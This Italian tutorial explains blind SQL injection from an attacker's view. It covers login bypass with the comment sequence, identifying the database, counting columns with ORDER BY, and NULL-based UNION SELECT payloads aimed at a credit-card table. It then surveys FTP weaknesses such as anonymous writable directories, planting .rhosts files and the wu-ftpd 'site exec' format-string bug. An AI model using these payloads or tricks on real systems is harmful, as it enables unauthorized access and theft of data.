Il primo darà sicuramente un errore di sintassi. La secondaa, invece, verrà eseguita senza intoppi, con il risultato lo stesso prodotto richiesto (4 come ProID), il che indica che questo parametro è vulnerabile a SQL Injection.

Una simile tecnica può essere utilizzata per la sostituzione del parametro con una sintasssi SQL stringa. Ci sono solo due differenze. In primo luogo, i paramentri di tipo stringa sono contenuti all' interno di virgolette. In secondo luogo diversi server SQL utilizzano diverse sintassi per il concatenamento di stringhe. Per esempio Mcft SQL Server utilizza il segno + per concatenare le stringhe, Oracle invece || per lo stesso compito. Cambia la sintassi ma la tecnica è sempre quella. Per esempio:

Codice:

   /myecommercesite/proddetails.asp?ProdName=Book

Questo test per SQL Injection, consiste nel sostituire il parametro ProdName, nella prima non è valido, come l' esempio di prima B', l' altro invece genererà un espressione valida, come B'+' (o B'||' anche con Oracle). Ciò risulta con le seguenti query:

Codice:

   (1) SELECT * FROM Products WHERE ProdName = 'Book''
   (2) SELECT * FROM Products WHERE ProdID = 'B' + 'ook'

Ancora una volta, la prima query è in grado di generare un errore di SQL, mentre la seconda torna lo stesso prodotto come la richiesta iniziale, con book come suo valore.

Allo stesso modo la stessa espressione può essere utilizzata per sostituire i parametri originali. Specifiche funzioni di sistema possono essere usate o per tornare un numero, o una stringa o una data (per esempio, in Oracle, sysdate restituisce una data espressione, che in SQL Server getdate() fa lo stesso compito). Ci sono anche altre tecniche per individuare se si verifica SQL Injection.

Come si può vedere l' iniezione di SQL è una operazione molto semplice, anche se non si visualizzano messaggi di errore dettagliati, che permetta l' attaccante di continuare con l' attacco.


Esecuzione dell Iniezione

Una volta che l' iniezione è stata capita dall' attaccante, il prossimo passo sarà cercare di sfruttarlo. Per questo, l' attaccante deve essere in grado di generare la sintassi valida, individuare il tipo di server, e costruire il necessario per sfruttarlo.

Individuare la giusta sintassi

Questo è di solito il processo più complesso per individuare una Blind SQL Injection. Se le query originale sono semplici, anche il sorgente è semplice. Tuttavia, se la query originale è complessa, richiede maggior tempo è molti più errori. In ogni caso, le tecniche di base per eseguire questi test, sono poche.

La sinstassi di base per iniziare un processo di identificazione standard è SELECT . . . WHERE le dichiarazioni, con questo parametro iniettato si hanno parte delle clausule WHERE. Al fine di ottenere una valida sintassi, l' attaccante deve essere in grado di aggiungere dei dati nuovi alle WHERE, in modo che restituirà diversi dati da quelli che dovrebbe. In alcune applicazione semplici aggiungendo  OR 1=1, può spesso risultare esatto. In molti casi, tuttavia, questo non sarà sufficiente. Spesso, ci sono anche parentesi che devono essere chiusi, in modo che corrisponda alla stringa originariamente aperta. Un altro problema che si può verificare è che una query manomessa causerà un errore che non è distinguibile da un errore SQL (per esempio, se è previsto un solo record, e OR 1=1 causa al databese un ritorno di 1000 record, l' applicazione può generare un errore).

Dal momento che ogni clausola WHERE è fondamentale per restituire un insieme di espressioni VERE o FALSE, Uniti insieme a OR, AND e le parentesi, imparate la giusta sintassi che funge correttamente, è termina la query con tentativi diversi. Per esempio, l' aggiunta di 'AND 1=2' il risultato è falso, o l' aggiunta di 'OR 1=2' ha influenza zero, fatta eccezione per gli operatori in precedenza.

Con alcune iniezioni, semplicemente modificando la clausola WHERE può essere sufficiente. Con gli altri, come UNION SELECT, le iniezioni non sono sufficiente per modificare la clausola WHERE. L' intera dichiarazione SQL deve terminare correttamente, in modo che ulteriori sintassi possono essere aggiunte. Per questo, una semplice tecnica può essere utilizzata. Dopo l' attaccante deve trovare una valida combinazione di AND, OR 1=2, e 1=1, e può essere utlizzato anche il commento in SQL.

Questo simbolo rappresentato da due trattini di consegutivo (--), incarica il server SQL di ignorare il resto che si trova dopo di esso. Per esempio, guardiano una semplce query che ci permette di accedere ad una pagina, che sia il nome utente o la password nella query come questa:

Codice:

SELECT Username, UserID, Password FROM Users WHERE Username = 'user' AND Password = 'pass'

Individuando johndoe' -- come user, possiamo eseguire la seguente clausola WHERE:

Codice:

   WHERE Username = 'johndoe' --'AND Password = 'pass'

In questo caso, non solo la sinstassi era giusta, ma l' autentificazione è stata ignorata. Tuttavia, guardiamo una diversa dichiarazione di clausola WHERE:

Codice:

   WHERE (Username = 'user' AND Password = 'pass')

Si noti le parentesi intorno alla dichiarazione. Iniettando ('johndoe'--), che restituirà falso:

Codice:

   WHERE (Username = 'johndoe' --' AND Password = 'pass')

La query ha le parentesi ineguagliate, per quindi non verrà eseguita.

Questo esempio, quindi, dimostra come il segno del commento può essere usato per determinare se la query termina correttamente. Se il segno del commento è stato aggiunto e non si verificano errori, significa che termina correttamente la query a destra di esso. Altrimenti, viene aggiunto un errore nella query.

Identificare il Database
Il prossimo passo che l' attaccande deve prendere, prima di iniziare a sfruttare la SQL Injection, è quello di individuare il tipo di database utilizzato. Fortunatamento, (per l' attaccante), si tratta di un compito molto più facile per trovare una sintassi valida.

Ci sono diversi tipi di iniezioni che l' attacker può utilizzare per individuare il database. Gli esempi che seguono si basano sulla distinzione tra Oracle e Mcft SQL Server. Simili tecniche vengono utilizzate per identificare altri tipi di database.

Un trucco molto semplice, che è stato già accennato in precedenza, è il concatenamento delle stringhe. Presumiamo che l' attaccante conosca abbastanza la sintassi, poi esso deve essere abile nell' aggiungere altre espressioni alla clausola WHERE, un confronto semplice della stringa pue essere fatto così:

Codice:

   AND 'xxx' = 'x' + 'xx'

Sostituendo il + con ||, Oracle può essere facilmente distinguibile da MS SQL Server, o di altri database.

Un altro carattere utilizato, è il punto e virgola. In SQL, un punto e virgola è usato per concatenare parecchie dichiarazioni di SQL nella stessa linea. E possono essere usati anche all' interno del codice da iniettare, Oracle non consente di utilizzare il punto e virgola in questo modo. Ipotizziamo che con la sintassi del commento la query sia andato a buon fine e abbia restituito vero, con l' aggiunta di un punto e virgola con MS SQL Server, non ha nessuno inpluenza mentre con Oracle restituisce un errore. Inoltr, per verificare se altri comandi possono essere eseguiti dopo la virgola, puo essere fatto mediante la dichiarazione COMMIT (per esempio iniettando xxx' ; COMMIT --). Assumedo il significato che le dichiarazioni possono essere iniettati li, e non dovrebbe generare un errore.

Infine alcune espressioni di sistema possno essere sostituite con le funzioni di sistema che restituiscono il giusto valore. Poichè ogni database usa diverse alcune funzioni diverse, è facile individuare il tipo di database in questo modo (un pò come la funzione getdate(), con MS SQL Server VS.sysdate() con Oracle).

Sfruttando le Iniezioni

Con tutte queste informazioni a portata di mano, l' attaccante può ora procedere con l' iniezione. Mentre si sviluppa l' exploit, l' attaccante non ha più bisogno di messaggi di errore, e può basarsi solo sul suo sapere.

Questo documento non vuole discute sulle tecniche SQL, in quanto già sono stati introdotti in altri documenti. L' unica tecnica che sfrutta una SQL Injection che andremo ad analizzare nel seguente capitolo è l' UNION SELECT.


UNION SELECT Injection
Con la manomissione di SELECT . . . nel dichiarare WHERE può restituire molte volte risultati positivi, ma l' attaccante tenta sempre più spesso ad eseguire un UNION SELECT. La clausola WHERE diversamente dalla UNION SELECT permette di accedere a tutte le tabelle del sistema.

Poichè l' eseguzione dell' UNION SELECT richiede la conosceza del numero dei capi, nonchè il tipo ci ciascuno, e spesso considerato che questa non può andare a buon fine senza dei messaggi di errori particolari, spqcialmente quando il numero dei campi e grande. Il prossimo capitolo vuole mostrare una serie di tecniche molto facile con le quali potremo risolvere questo problema.

Prima di procedere, è importante che l' attaccante abbia la sintassi corretta. Nei capitoli precedenti, tuttavia, abbiamo già dimostrato come si può creare, e come è fatta. L' identificazione deve avvenire nel modo che cancella tutte le parentesi nella query, e permetta l' iniezione di UNION o altri comandi senza far subbire nessuna trasformazione. (Come spiegato in precedenza, per far questo possiamo far uso dell' iniezione del commento).

Una volta che la sintassi è corretta, un UNION SELECT può essere aggiunto alla query originale. L' UNION SELECT deve avere lo stesso numero di colonne con il rispettivo tipo come se fosse una iniezione originale, o verrà generato un errore.

Contare le colonne

Contare le colonne può sembrare quasi impossibile con la normale "UNION SELECT" SQL Injection. Il modo in vuoi viene fatto è semplicemente la creazione di un UNON SELECT all' inizio della query, e iniettando diversi numeri di campi (uno in più in ogni tentativo). Quando l' errore generato indica (Numero colonna mancante), è sostituito con il "corrispondente tipo di colonna mancante", quando il numero di colonne finisce, allora possiamo fare un passo in avanti. Quando però l' applicazione non restituisce errori, allora e totalmente inutile questo.

Per questo che deve essere utilizzata una diversa tecnica per identificare il numero di colonne, e sto parlando della clausola ORDER BY. Infatti aggiungendo una clausola ORDER BY alla fine della dichiarazione SELECT, l' ordine dei risultati cambia. Questo viene fatto normalmente specificando il nome del tipo di colonna (o i nomi di altri varie colonne).

Guardando quest' esempio che inietta un parametro "Numero carta di credito: 11223344) ORDER BY CCNum --, determina la seguente query di ricerca:

Codice:

SELECT CCNum FROM CreditCards WHERE (AccNum=11223344) ORDER BY CCNum -- AND CardState='Active') AND UserName='johndoe'

Questo solitamente è trascurato, tuttavia, l' ordine della clausola ORDER BY può avere una forma numerica. In questo caso la query si riferisce ad una colonna numerica, piuttosto che il suo nome. Ciò significa che l' iniezione di 11223344) ORDER BY 1 --, andrà a buon fine, e farebbe esattamente lo stesso, visto che CCNum è il primo campo nell' risultato della query. Mentre iniettando 11223344) ORDER BY 2 --, tuttavia genera un messaggio di errore, perchè c' è solo un capo, il che significa che non può essere ordinati per il secondo capo.

Per tanto quando dobbiamo contare i numeri dei campi ORDER BY può essere molto utile. Un attaccante come prima clausola lancia ORDER BY 1.  Poichè ogni SELECT deve avere almeno un capo questa dovrebbe funzionare. Se si riceve un messaggio di errore su questo, la sintassi deve essere manomessa finche non scompare. (Anche se impossibile) ma può anche restituire un errore di applicazione. In questo caso con l' aggiunta di ASC o DESC si può risolvere il problema. Una volta che la sintassi ORDER BY funzioni senza restituire errori, l' attaccante può cambiare l' ordine da colonna 1 a colonna 100 (o 1000 o qualsiasi cosa che sia valida). A questo punto, dovrebbe essere generato un errore, il che significa che l' enumerazione sta lavorando.

L' attaccante ora il metodo che gli permette di capire i numedi di colonne che esistono, e quelle che non esistono. L' attaccante deve semplicemente aumentare questo numero, una alla volta, fino a quando si riceve un messaggio di errore (poichè alcune colonne sono di un tipo che non permettono ordinamento, è consigliabile verifica uno o due ulteriori numeri, e di assicurarsi degli errori che si ricevono). Con questa tecnica il numero di campi è facilmente enumerato, e messaggi di errore non sono richiesti.



Identificare i tipi colonne

Quindi ora conosciamo la sintassi per estrarre il numero dei campi, l' attaccante deve identificare i tipi di tutti i campi. Ottenere i tipi di tutti i campi tuttavia, può essere difficile. Essi devono corrispondere con tutte le query originale. Se si tratta di pochi campi, possono essere raggiunti con un attacco brutale, ma se ci sono parecchi, allora sorge un problema. Come già detto in precedenza ci sono tre tipi principali (numero, stringa, data) se sono 10 campi, significa che sono 310 (quasi 60.000) combinazioni. Iniettando 20 richieste al secondo, ci vorrà quasi un ora. E se ci sono ancora più campi questo rende il processo quasi impossibile.

Pertando deve essere utilizata una tecnica più semplice quando si lavora senza errori. Ora possiamo utilizzare la chiave NULL in SQL. Invece di iniettare dei tipi di dati, (ad esempio, stringa o un numero intero), NULL assume la corrispondenza di tutti i tipi. E' quindi possibile iniettare una UNION SELECT, dove tutti i campi sono nulli, e quindi non ci dovrebbero essere tipi di errori. Esaminiamo un iniezione simile all' esempio precedente:

Codice:

   SELECT CCNum,CCType,CCExp,CCName FROM CreditCards WHERE (AccNum=11223344 AND CardState='Active') AND UserName='johndoe'

L' unico cambiamento che si nota e che nel singolo campo CCNum sono stati aggiunti altri diversi, cosi ci sono più campi. Presupponiamo che l' attaccante abbia contato il numero di colonne del risultato di questa iniezione (4 nel nostro esempio), è ora di iniettare una semplice dichiarazione UNION con tutti NULL, con la slausola FROM che non generi errori di autorizzazioni (nuovamente viene fatto un tentativo di isolare ogni problema che tratteremo più avanti). Con MS SQL, la clausolo FROM può essere omessa. Questo è valido. Con Oracle, utilizando una tabella chiamata doppia, può essere utile. Aggiungendo WHERE che valida sempre come falso (WHERE 1=2) garantisce che nessun record set contenente solo i valori NULL verrà restituito, eliminado ulteriori possibili errori (alcune applicazioni non riesco a gestire correttamente i valori NULL).

Possiamo guardare ora un esempio fatto sotto MS SQL Server, che vale anche per Oracle. Iniettando 11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 --, la query si trsformerebbe cosi:

Codice:

   SELECT CCNum,CCType,CCExp,CCName FROM CreditCards WHERE (AccNum=11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 --AND CardState='Active') AND UserName='johndoe'

Le iniezioni di NULL hanno due scopi. Lo scopo principale è quello di ottenere una dichiarazione di UNION che non dia errori. Anche se questa UNION non fornisce ancora dati reali, ma ci dice che comunque, la sua iniezione funziona. L' altro scopo di questa UNION vuota è quello di ottenere un identificazione al 100% dal database (e usando una specifica nome di tabella, con FROM).

Una volta che la dichiarazione del NULL-based UNIONE sia operativa, si esegue un banale processo per identificare i tipi di ciascuna colonna. In ogni iterazione ogni singolo campo è esaminato al relativo tipo. Tutti e tre i tipi (numero, intero, stringa), sono esaminati per il campo, e uno di loro dovrebbe funzionare. Qindi le colonne voglio fino a tre tipi differenti, pittosto che tre colonna di numeri. Supponiamo che CCNum sia un intero, e che tutti gli altri campi siano stringhe, con le seguenti tipi di UNION possiamo individuare i tipi:

Codice:

    *  11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 --
     No Error - Sintassi esatta MS SQL Server Used. Proceeding.
   * 11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 --
     No Error - La prima colonna è un intero.
   * 11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 --
     Error! - - La seconda colonna non è un intero.
   * 11223344) UNION SELECT 1,'2',NULL,NULL WHERE 1=2 --
     No Error - La seconda colonna è una stringa.
   * 11223344) UNION SELECT 1,'2',3,NULL WHERE 1=2 --
     Error! - La terza colonna non è un intero.
   * 11223344) UNION SELECT 1,'2','3',NULL WHERE 1=2 --
     No Error - La terza colonna è una stringa.
   * 11223344) UNION SELECT 1,'2','3',4 WHERE 1=2 --
     Error! - La quarta colonna non è un intero.
   * 11223344) UNION SELECT 1,'2','3','4' WHERE 1=2 --
     No Error - La quarta colonna è una stringa.

L' attaccante ha creato una valida UNION. Utilizzando sempre il numero più grande di quello precedente, quindi è possibile capire quale tipo vuole. Tutto quello che ora è esatto va sfruttato. Per questo che l' iniezione può essere usata per recuperare dati dalle tabelle di sistemi (o i dati nelle loro colonne). Questo documento tuttavia non entra nei dettagli, in quanto si possno trovare altri tutorial all' SQL Injection per la rete.

FTP (File TRanfer Protocol)


Qui voglio descrivere alcune delle caratteristiche di sicurezza del protocollo FTP ,per chi non conosce che cosa fa il FTP rimando a http://it.wikipedia.org/wiki/File_Transfer_Protocol .Su internet si può trovare diverso materiale su questo protocollo .In questo post voglio descrivere solo alcune cose riguardo la sicurezza. Parlerò di FTP nel ambiente UNIX\LINUX.

-FTP e uno dei più comuni protocolli utilizzati oggi .
-Spesso viene sfruttato per ottenere accesso ai sistemi remoti ,o per memorizzare file come (warez,crack,e cose del genere)
-ll file system visibile al utente finale e limitato a un particolare ramo dell'albero delle directory
-Esistono server FTP anonimo (questi consentono all'utente di navigare in tutta la struttura delle directory)
-In questi casi gli intrusi (uso parola intrusi per quelli che vogliono entrare in un sistema con lo scopo di fare danni ,di manomettere il sistema stesso )possono estrarre file di configurazione riservati come etc/passwd o etc/shadow.
-Molti server FTP utilizzano directory accessibili a tutti in scrittura .
-La combinazione dell'utilizzo di accesso anonimo e directory accessibili a tutti in scrittura viene definita una bomba per la sicurezza
-Gli intrusi potrebbero essere in grado di inserire un file .rhost nella home directory di un utente che consentirebbe loro di accedere al sistema bersaglio utilizzando rlogin rsh

A questo punto mi fermo per spiegare meglio che cosa si può fare con un file .rhost
Se un file .rhost si trova nella home directory ,questo permette di far girare da remoto programmi su questa macchina avendo un file .rhost configurato su una macchina Y si può collegare da un macchina X e far girare un programma su Y facendo arrivare l'output sulla macchina X senza collegarvi e digitare la password.

La configurazione di un file .rhost e semplice :
Basta mettere il nome della macchina seguito del nome utente .

EX:
Codice:
nome_macchina   nome_utente canaha.xpc.edu     user1


Per poter far girare il programma su una macchina da remoto si può usare rsh o rlogin

Un utente user1 su Y su quale esiste anche il file .rhost permette all'utente user1 da X di eseguire comandi come se fosse user1 da Y.

Per non confondervi voglio dire che non ce bisogno dello stesso nome utente su tutte due le macchine. Nel file .rhost si può lasciare uno spazio vuoto per il nome utente subito dopo il nome della macchina .Questo permette a tutti utenti di quella macchina di eseguire comandi e far girare programmi sulla macchina locale .

Riprendendo il discorso dei server FTP soffrono anche di diversi problemi di sicurezza che riguarda i buffer overflow e altre ancora. (per la definizione di buffer overflow) rimando a http://it.wikipedia.org/wiki/Buffer_overflow

-una delle vulnerabilità del server FTP scoperta nei sistemi wu-ftpd 2.6.0 e precedenti e quella della stringa di formato “site exec” legata nell'errata procedura di validazione degli argomenti in diverse chiamate di funzione che implementano la funzionalità “site exec” http://it.wikipedia.org/wiki/Format_string_attack Attacchi con stringhe di formato
-una vulnerabilità a stringa di formato nasce a causa di sottili errori di programmazione presenti nella famiglia di funzioni per l'output con possibilità di formattazione che comprende printf()
e sfprint (per approfondire di più sulle stringe di formatto rimando a fare una ricerca con il vostro motore preferito)
-la funzionalità “site exec” abilita gli utenti che hanno fatto il login in un server FTP a eseguire un insieme ristretto di comandi
-un intruso potrebbe inviare caratteri di conversione per printf() (%f,%p,%n ed cosi via) per eseguire codice arbitrario con i privilegi massimi (root)

Ed non finisce qui ,su molti siti sono presenti molti exploit per diversi servizi FTP
Un malintenzionato potrebbe crearsi uno script che esegue una scansione alla ricerca di indirizzi IP su quali gira un server FTP , cercare l'autenticazione anonima su ognuno di essi ,ed poi vedere se può caricare un file in una delle directory.

Una contromisura contro diversi attacchi sarebbe non impostare l'accesso anonimo al server .
Poi ovviamente non dimenticarsi di applicare le ultime patch e ridurre il numero delle directory accessibili a tutti in scrittura